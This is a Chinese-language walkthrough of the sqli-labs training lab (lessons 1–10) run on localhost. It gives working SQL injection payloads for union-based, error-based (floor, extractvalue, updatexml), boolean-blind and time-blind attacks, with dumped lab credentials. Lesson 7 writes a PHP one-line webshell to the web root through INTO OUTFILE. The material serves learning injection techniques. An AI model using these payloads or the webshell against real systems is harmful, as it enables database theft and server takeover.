0x01 环境搭建

  1. 下载 sqli-lab 源码,地址为:https://github.com/Audi-1/sqli-labs
  2. 放置网站根目录下,修改db-creds.inc 文件,添加本机 mysql 账户密码
  3. 打开 sqli-lab 首页,点击运行 setup/reset databse
  4. 数据库连接成功,接下来就可以测试了。

## 0x02开始闯关 ### Lesson1:字符型注入 第一关我把整个详细的过程都写下来,后面就会略写。首先访问
http://localhost/sqli-labs/Less-1/?id=1  


访问正常

http://localhost/sqli-labs/Less-1/?id=1'  


报错,发现报错信息多出一个单引号,后面闭合语句也是用的单引号。

http://localhost/sqli-labs/Less-1/?id=1' and '1'='1

返回正常,说明sql语句执行成功了,因为条件永远为真,所以正常返回。

猜解字段数

http://localhost/sqli-labs/Less-1/?id=1' order by 1--+


正常,这里后面的注释除了用--+还可以是#的url编码%23也可以。

测试到4的时候报错,说明字段数是3。

http://localhost/sqli-labs/Less-1/?id=1' order by 4--+

确定显位数字

http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,3--+


发现2,3均可回显

获取当前数据库名

http://localhost/sqli-labs/Less-1/?id=-1' union select 1,(select database()) ,3--+


报错注入,数据库名为:security

还可以获取所有的数据库名

http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+


得到的数据库有:

information_schema,74cms,ZHIHUHOT_FULL_DATA,bookstore,challenges,demo,dvwa,easytalk,mlecms,mysql,performance_schema,security,test,testdb

获取当前数据库security的表名

http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema =0x7365637572697479)--+


(security的hex编码是7365637572697479)
得到security表名有:

emails,referers,uagents,users

获取列名

http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema =0x7365637572697479 and table_name=0x7573657273)--+

获取数据

http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)--+

得到:

1|Dumb|Dumb,2|Angelina|I-kill-you,3|Dummy|p@ssword,4|secure|crappy,5|stupid|stupidity,6|superman|genious,7|batman|mob!le,8|admin|admin,9|admin1|admin1,10|admin2|admin2,11|admin3|admin3,12|dhakkan|dumbo,14|admin4|admin4

还可以获取数据库版本

http://localhost/sqli-labs/Less-1/?id=-1' union select 1,version(),database()--+

OK!一次完整的sql注入过程结束了。

Lesson2:数字型注入


先加个单引号,根据报错信息发现是数字型注入不需要单引号去闭合语句。
payload:

http://localhost/sqli-labs/Less-2/?id=1 and 1=2 union select 1,version(),database()--+

Lesson3:有括号的单引号报错

加单引号查看报错信息

判断出只是多出一个括号而已,所以在单引号后面加一个后括号。
payload:

http://localhost/sqli-labs/Less-3/?id=1') and 1=2 union select 1,version(),database()--+

Lesson4:双引号括号报错注入

加单引号,没有报错,加双引号,报错。并且还需要闭合括号。

payload:

http://localhost/sqli-labs/Less-4/?id=1") and 1=2 union select 1,version(),database()--+

Lesson5:单引号二次注入

加单引号报错,根据报错信息,确定的确是单引号闭合。但是根据前面单引号报错构成的payload没有回显信息,只是有you are in...

这个网页可能只提示错误,不显示正确信息。
所以思路为利用错误提示信息来暴露数据库内的数据。
这里我一共找到三种方法。
利用floor函数报错:

http://localhost/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b)limit 0,1--+

利用extractvalue函数报错:

http://localhost/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))limit 0,1--+

利用updatexml函数报错:

http://localhost/sqli-labs/Less-5/?id=1' and (updatexml(1,concat(0x3a,(select database())),1))limit 0,1--+

limit m,n
其中m是指记录开始的index,从0开始,表示第一条记录
n是指从第m+1条开始,取n条。

Lesson6:双引号二次注入

只需要把上面id的单引号变成双引号即可。

Lesson7:利用注入写入文件

利用注入写入文件,在知道绝对路径的情况下可以写入一句话木马。
outfile函数:

select into outfile //将表的内容导出为一个文本文件 
select [列名] from table [where 语句]
into outfile ‘目标文件’ [option];

dumpfile函数 将表的内容导出一行

select * from users limit 0,1 into dumpfile 'c:/2.txt';

load_file函数 将数据导入mysql

select load_file ('c:/1.txt')

首先判断出需要什么闭合,这个过程我这里就省略了。
经过几番判断得出是'))闭合。

读写权限测试:

http://localhost/sqli-labs/Less-7/?id=1'))and (select count(*)from mysql.user)>0 --+ //如果返回正常则有读写权限

写入一句话小马,实际情况需要绝对路径才行。这里就把它当做已知。

http://localhost/sqli-labs/Less-7/?id=1')) union select 1,'<?php eval($_POST["123"]);?>',3 into outfile '/var/www/html/test.php'--+


这里虽然报错,但的确是成功写入了

还可以将一句话木马上传到网站目录上

http://localhost/sqli-labs/Less-7/?id=1')) union select 1,load_file("/var/www/html/sqli-libs/Less-7/result.txt"),3 into outfile '/var/www/html/1.php'--+

Lesson8:布尔型盲注

Less-8/?id=1  //显示You are in…
Less-8/?id=1' //不显示错误。但无返回信息
Less-8/?id=1' and '1'='1  //显示You are in…
Less-8/?id=1' and '1'='2  //不显示错误。但无返回信息

通过一番测试知道这是一道布尔型注入题,id为单引号,字符型数据。
盲注其实是sql注入的一种,之所以称为盲注是因为他不会根据你sql注入的攻击语句返回你想要知道的错误信息。
盲注分为两类:
    1.布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根据    你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
    2.时间盲注 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
  需要用到的函数:

Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

猜测数据库名长度

http://localhost/sqli-labs/Less-8/?id=1' and (length(database()))>10--+  //不显示错误。但无返回信息
http://localhost/sqli-labs/Less-8/?id=1' and (length(database()))>5 --+  //显示You are in…

说明长度大于5小于10
最后得到结果为

http://localhost/sqli-labs/Less-8/?id=1' and (length(database()))=8--+  //显示You are in…

长度为8也就是security,接下来利用substr函数与ascii函数构造猜测数据库名ascii码的值的语句 因为现在只知道长度不知道具体内容

http://localhost/sqli-labs/Less-8/?id=1' and (ascii(substr(database(),1,1)))>100 --+  //显示You are in…
http://localhost/sqli-labs/Less-8/?id=1' and (ascii(substr(database(),1,1)))>120 --+  //不显示错误。但无返回信息

说明数据库的第一个字母的ascii的值在100~120之间。最后用二分法逐步逼近确定在115

http://localhost/sqli-labs/Less-8/?id=1' and (ascii(substr(database(),1,1)))=115 --+  //显示You are in…

通过查ascii码表可知 ascii(115)=s 也就是security 的第一个字母,通过改变database()后面的数字 可以继续猜测第二个字母第三个字母,接下来改变语句去猜测表名。

http://localhost/sqli-labs/Less-8/?id=1' and (ascii(substr(database(),2,1)))=101 --+  //显示You are in…

ascii(101)=e也就是security 的第二个字母,后面以此类推。

接下来改变语句去猜测表名,其实并不需要上面猜测数据库名的过程。

http://localhost/sqli-labs/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100 --+  //显示You are in…

继续

http://localhost/sqli-labs/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>110 --+  //不显示错误。但无返回信息

二分法查找最后得到

http://localhost/sqli-labs/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=114 --+  //显示You are in…

猜测列名

http://localhost/sqli-labs/Less-8/?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100 --+ //显示You are in…

采用二分法得 ascii为 105 为i 也就是表的第一个列名 id的第一个字母 同样 通过修改 limit 0,1 获取第二个列名 修改后面1,1的获取当前列的其他字段。接着获username 与 password 里面的内容 因为知道了列名所以直接 select password from users 就可以获取password里面的内容 username一样。

http://localhost/sqli-labs/Less-8/?id=1'  and (ascii(substr(( select password from users limit 0,1),1,1)))=68--+  //显示You are in…

手工盲注非常繁琐需要一个一个的试,不过现在还是先学习手工理解了sql注入的原理,熟悉了以后可以采用脚本工具自动化测试。

Lesson9:时间型盲注

无论怎么更改注入语句,页面都不会发生改变,说明无论输入正确与否都只显示you are in。最后测试基于时间。

http://localhost/sqli-labs/Less-9/?id=1' and if(1=1,sleep(5),null)--+ //显示You are in…但是有延迟

说明存在注入,可以用基于时间的盲注。

http://localhost/sqli-labs/Less-9/?id=1' and (if(ascii(substr(database(),1,1))>100,sleep(5),null))--+  //显示You are in…但是有延迟

如果返回正确,则页面会停顿10秒,返回错误则会立马返回。其他与布尔盲注都相似的。

Lesson10:双引号时间型盲注

基于时间的盲注,双引号
同上,用双引号进行闭合即可。

0x03 参考

1.sqli-labs详细通关指南
2.sqli-labs学习笔记总结